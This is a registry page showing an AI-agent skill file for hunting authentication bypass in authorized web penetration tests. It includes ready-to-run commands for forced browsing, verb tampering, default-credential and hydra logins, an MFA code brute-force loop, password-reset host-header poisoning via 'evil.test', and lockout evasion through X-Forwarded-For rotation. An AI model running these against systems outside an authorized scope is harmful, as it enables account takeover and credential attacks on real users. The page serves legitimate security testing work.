auth-bypass
Skill1 starsChanged 12 days agoMITView on GitHub
Hunt for authentication bypass: default/weak credentials, forced browsing to protected resources, and token/session manipulation. Use when mapping login flows, session management, password reset, MFA, and any access-control boundary between unauthenticated and authenticated states. Keywords: auth bypass, default credentials, forced browsing, broken authentication, session fixation, token manipulation, password reset poisoning, MFA bypass, JWT none alg (cross-ref jwt), credential stuffing, account lockout bypass. Do NOT use for object-level authorization once already authenticated — use idor. Do NOT use for deep JWT-specific attacks (alg confusion, kid injection) — use jwt for those; this skill covers the broader auth-flow bypass surface.
- Sends data out
4 other projects use a version of this.
Adopted by
Most recently taken up by
- SubhiSec/claude-ai-cyber-security-skillstheir own version, first seen Oct 25, 2026
- ajtazer/heckittheir own version, first seen Sep 11, 2026
- 0xGhostCAT/claude-ai-cyber-security-skillstheir own version, first seen Jun 2, 2026
- zebbern/termstacktheir own version, first seen Apr 16, 2026
Other versions4 projects use a version of this.
Word for word · 0
None found.
Edited · 0
None found.
Wrote their own version · 4
- SubhiSec/claude-ai-cyber-security-skills★ 45same name
- 0xGhostCAT/claude-ai-cyber-security-skills★ 41same name
- zebbern/termstack★ 4same name
- ajtazer/heckit★ 2same name
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository124 other files it gives its agents.
- CLAUDE.mdCLAUDE.md
- ai-agent-reconSkill
- ai-supply-chainSkill
- exfiltration-via-aiSkill
- indirect-injectionSkill
- llm-fuzzingSkill
- prompt-injectionSkill
- rag-poisoningSkill
- tool-abuseSkill
- chain-analysisSkill
- chain-auth-to-takeoverSkill
- chain-customSkill
- chain-graph-walkSkill
- chain-idor-to-mass-dataSkill
- chain-info-to-exploitSkill
- chain-multi-appSkill
- chain-ssrf-to-cloudSkill
- chain-web-to-rceSkill
- chain-xss-to-account-takeoverSkill
- email-securitySkill
- engagement-flowSkill
- finding-disciplineSkill
- http-headers-securitySkill
- oob-interactionsSkill
- opsec-disciplineSkill
- research-firstSkill
- scope-disciplineSkill
- scope-importSkill
- session-contextSkill
- 2fa-bypassSkill
- api-abuseSkill
- broken-access-controlSkill
- business-logicSkill
- cache-poisoningSkill
- clickjackingSkill
- corsSkill
- credential-testingSkill
- crlf-injectionSkill
- cryptographic-oracleSkill
- csrfSkill
- css-injectionSkill
- data-exfiltration-testSkill
- deserializationSkill
- email-injectionSkill
- file-uploadSkill
- fuzzingSkill
- graphqlSkill
- grpcSkill
- host-headerSkill
- http-smugglingSkill
- idorSkill
- info-disclosureSkill
- jwtSkill
- lateral-movementSkill
- lfi-rfiSkill
- mass-assignmentSkill
- oauthSkill
- open-redirectSkill
- parameter-pollutionSkill
- password-resetSkill
- The first 60 shown.
The file
We split this skill into the rules it gives an agent
5 rules. 0 are common, 4 are distinctive, and 1 is very specific to this project.
0
Common
Most of the 3 edited versions we read keep these.
4
Distinctive
This author's own choices. Worth a look.
1
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Very specific: line 29
Default credential candidates: vendor/product defaults (admin:admin, admin:password, device/CMS-specific known defaults) — check against a …
- Distinctive: line 48
Test accounts at relevant privilege levels already provisioned (reuse from idor setup where applicable).
- Distinctive: line 83
If broader credential testing is in scope, throttle hard and prefer a curated, product- specific list over a generic 10k-password …
- Distinctive: line 205
Before declaring this finding complete, probe these escalation paths:
- Distinctive: line 221
Default credentials found on an internal admin panel reached via ssrf → escalate severity (external attacker reaching an "internal-only" …
“Common” is measured: kept by at least 6 in 10 of the 3 edited versions of this file we could read. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Signals
- Admin/staff panels on predictable paths (
/admin,/wp-admin,/manager,/console) reachable without redirecting to login. - Default credential candidates: vendor/product defaults (
admin:admin,admin:password, device/CMS-specific known defaults) — check against a known-defaults list for the fingerprinted product first. - Password reset flows: token in URL (not POST-only), weak/short/predictable token, or token not invalidated after use/expiry.
- Multi-step login/MFA flows where intermediate steps don't verify the previous step actually succeeded (step 2 reachable by direct request without completing step 1).
- Client-side-only route guards (SPA redirects to
/loginvia JS, but the API endpoint behind it answers without a valid session). - "Remember me" tokens, API keys, or session identifiers with low entropy or predictable structure.
Prerequisites
- A mapped authentication flow (login, logout, password reset, MFA, session issuance) from crawling/recon.
- Explicit scope clearance for credential-guessing activity (project rule: default-creds/ brute-force needs the engagement scope to clearly cover it — these can trigger lockouts affecting real users on multi-tenant systems).
- Test accounts at relevant privilege levels already provisioned (reuse from idor setup where applicable).
Methodology
- Forced browsing — direct access to protected paths without a session:
Also test trailing variations that sometimes dodge route-guard middleware:curl -s -o /dev/null -w "%{http_code}\n" https://target/admin curl -s -o /dev/null -w "%{http_code}\n" https://target/api/admin/users # compare authenticated vs unauthenticated response for the same path curl -s https://target/api/admin/users -o auth_resp.json curl -s -H "Cookie:" https://target/api/admin/users -o noauth_resp.json diff auth_resp.json noauth_resp.jsonfor path in "/admin" "/admin/" "/Admin" "/admin%20" "/admin." "/admin/.." "//admin" "/admin#"; do curl -s -o /dev/null -w "$path -> %{http_code}\n" "https://target$path" done - HTTP method/verb bypass on a path that 403s for GET:
for m in GET POST PUT HEAD OPTIONS PATCH TRACE; do curl -s -X $m -o /dev/null -w "$m -> %{http_code}\n" https://target/admin/users done - Default credentials — only against the specific product fingerprinted in recon, not a
blind spray across every known default list:
If broader credential testing is in scope, throttle hard and prefer a curated, product- specific list over a generic 10k-password dictionary:curl -s -X POST https://target/login -d "username=admin&password=admin" curl -s -X POST https://target/login -d "username=admin&password=changeme" # for fingerprinted products, use their documented defaults specifically, not a generic listhydra -L users.txt -P product_specific_defaults.txt target https-post-form \ "/login:username=^USER^&password=^PASS^:Invalid credentials" -t 2 -W 2 - Password reset flow abuse:
# host-header poisoning of the reset link (if the app builds the link from the Host header) curl -s -X POST https://target/password/reset -H "Host: evil.test" -d "email=victim@test.local" # check the generated email/link (via a test mailbox you control) for evil.test in the link # token predictability — request two resets in quick succession, compare token structure curl -s -X POST https://target/password/reset -d "email=testacct1@test.local" curl -s -X POST https://target/password/reset -d "email=testacct2@test.local" # inspect both tokens (from test mailboxes) for sequential/time-based patterns # token reuse after use / expiry — reuse a consumed token curl -s "https://target/password/reset/confirm?token=ALREADY_USED_TOKEN" \ -d "new_password=NewPass123!" - Multi-step/MFA flow step-skipping — once step 1 (password) issues a temp session/token
for step 2 (MFA), test whether step 3 (fully authenticated) is reachable by hitting its
endpoint directly with only the step-1 artifact:
Also test whether the MFA code itself can be brute-forced (short numeric OTP, no rate limit):curl -s -X POST https://target/login -d "username=test&password=TestPass1!" -c step1_cookies.txt # before completing MFA, try an authenticated-only endpoint directly: curl -s -b step1_cookies.txt https://target/api/account/profilefor code in $(seq 0 9999); do curl -s -b step1_cookies.txt -X POST https://target/mfa/verify \ -d "code=$(printf '%04d' $code)" -o /dev/null -w "$code: %{http_code}\n" done | grep -v ": 401\|: 400" - Session fixation — check whether the session identifier is accepted/kept across the
unauthenticated-to-authenticated transition (attacker sets a known session ID, victim logs
in, attacker reuses the same ID):
curl -s https://target/login -c pre_login_cookies.txt # capture pre-auth session ID curl -s -b pre_login_cookies.txt -X POST https://target/login \ -d "username=victim&password=VictimPass1!" -c post_login_cookies.txt diff pre_login_cookies.txt post_login_cookies.txt # session ID unchanged = fixation - Account lockout bypass via header/IP rotation:
for i in $(seq 1 10); do curl -s -X POST https://target/login -d "username=victim&password=wrong$i" \ -H "X-Forwarded-For: 10.0.0.$i" done # if lockout doesn't trigger with rotating XFF, the control is bypassable - Automated sweep for exposed admin paths and known default-credential endpoints:
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u "https://target/FUZZ" \ -mc 200,301,302,401,403 -o admin_paths.json -of json nuclei -l urls.txt -tags default-login,exposure -o nuclei_auth.txt
Tooling
curl— the core manual technique across nearly every variant here.hydra— throttled, scoped credential testing (never unthrottled full-dictionary sprays without explicit operator sign-off).ffuf/nuclei -tags default-login— breadth sweep for exposed admin paths and known default creds on fingerprinted products.- Burp Suite — session token analysis (Sequencer) for entropy/predictability testing.
Root Causes
- Access-control decisions made only in client-side routing/UI, not re-verified server-side per request.
- Multi-step auth flows that don't track flow state server-side (no "MFA pending" session flag blocking access to post-auth endpoints until MFA actually completes).
- Session IDs issued before authentication and not regenerated on privilege change (login, password change) — classic session fixation root cause.
- Password reset tokens generated from predictable sources (sequential, timestamp-only, weak PRNG) or not invalidated after single use/expiry window.
- Products shipped with default credentials that operators never rotate.
Validation Gate (minimum proof)
- A specific unauthenticated (or lower-privilege) request reaching a resource/action that should require full authentication (or higher privilege), with the actual protected response/action confirmed (not a generic error page that happens to return 200).
- For credential/brute-force findings: one successful login with the discovered/guessed credential pair, demonstrated once — not a mapped list of every weak account.
- For session fixation: demonstrated that a session ID set before login remains valid and privilege-elevated after a different identity logs in using it.
- For reset-token issues: the actual reset succeeding with the predicted/reused/host-poisoned token against a test account you control.
Gotchas
- Minimum proof, not a lockout-triggering spray. Confirm default creds or weak passwords against test accounts first; do not brute-force real/unknown user accounts without an explicit scope note covering it, since lockouts and alerting affect real users.
- Common N/A: client-side route guard present but every underlying API call still correctly 401s/403s server-side — the client-side gap alone isn't exploitable; confirm the data path is actually reachable, not just the UI route.
- Common N/A: session ID does regenerate on login (check both cookie value and any server-side session-store rotation) — don't report fixation from cookie persistence alone if the underlying server-side session object was actually swapped.
- Overclaim trap: a password-reset link containing a token in the URL is not automatically a finding — the real question is whether the token is single-use, time-bound, and unpredictable; a long random single-use token in a URL (common, acceptable pattern) is not a vulnerability by itself.
- Overclaim trap: MFA code brute-forcing proof requires showing the lack of rate-limiting/ lockout over a meaningful number of attempts — a handful of tries succeeding by chance is not proof; show the systematic sweep and the actual successful bypass.
- Host-header password-reset poisoning requires confirming the email was actually sent with the poisoned domain (check a real test mailbox) — a response that merely reflects the Host header in a debug page is not the same as confirming the email content.
Chain Anchors
Before declaring this finding complete, probe these escalation paths:
- Admin function access — Does the bypass grant access to admin-only functions, not just a generic authenticated view?
- Other users' data — Can you access other users' data through the bypassed auth check?
- Reliability — Is the bypass deterministic, or is it actually a race condition that only sometimes succeeds?
- Blast radius — Does the bypass affect one endpoint, or does it invalidate auth checks across the entire API (e.g. a shared middleware flaw)?
A finding without chain anchor results is INCOMPLETE. Record each anchor as tested/not-applicable/blocked with the reason.
Chains & Compositions
- Forced-browsing admin bypass → idor (once in, authorization gaps on specific objects).
- Session fixation / token reuse → account-takeover, flag immediately for operator awareness given severity.
- Reset-token/MFA weaknesses chain directly into full account takeover — document as such.
- Default credentials found on an internal admin panel reached via ssrf → escalate severity (external attacker reaching an "internal-only" panel through the web app).
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

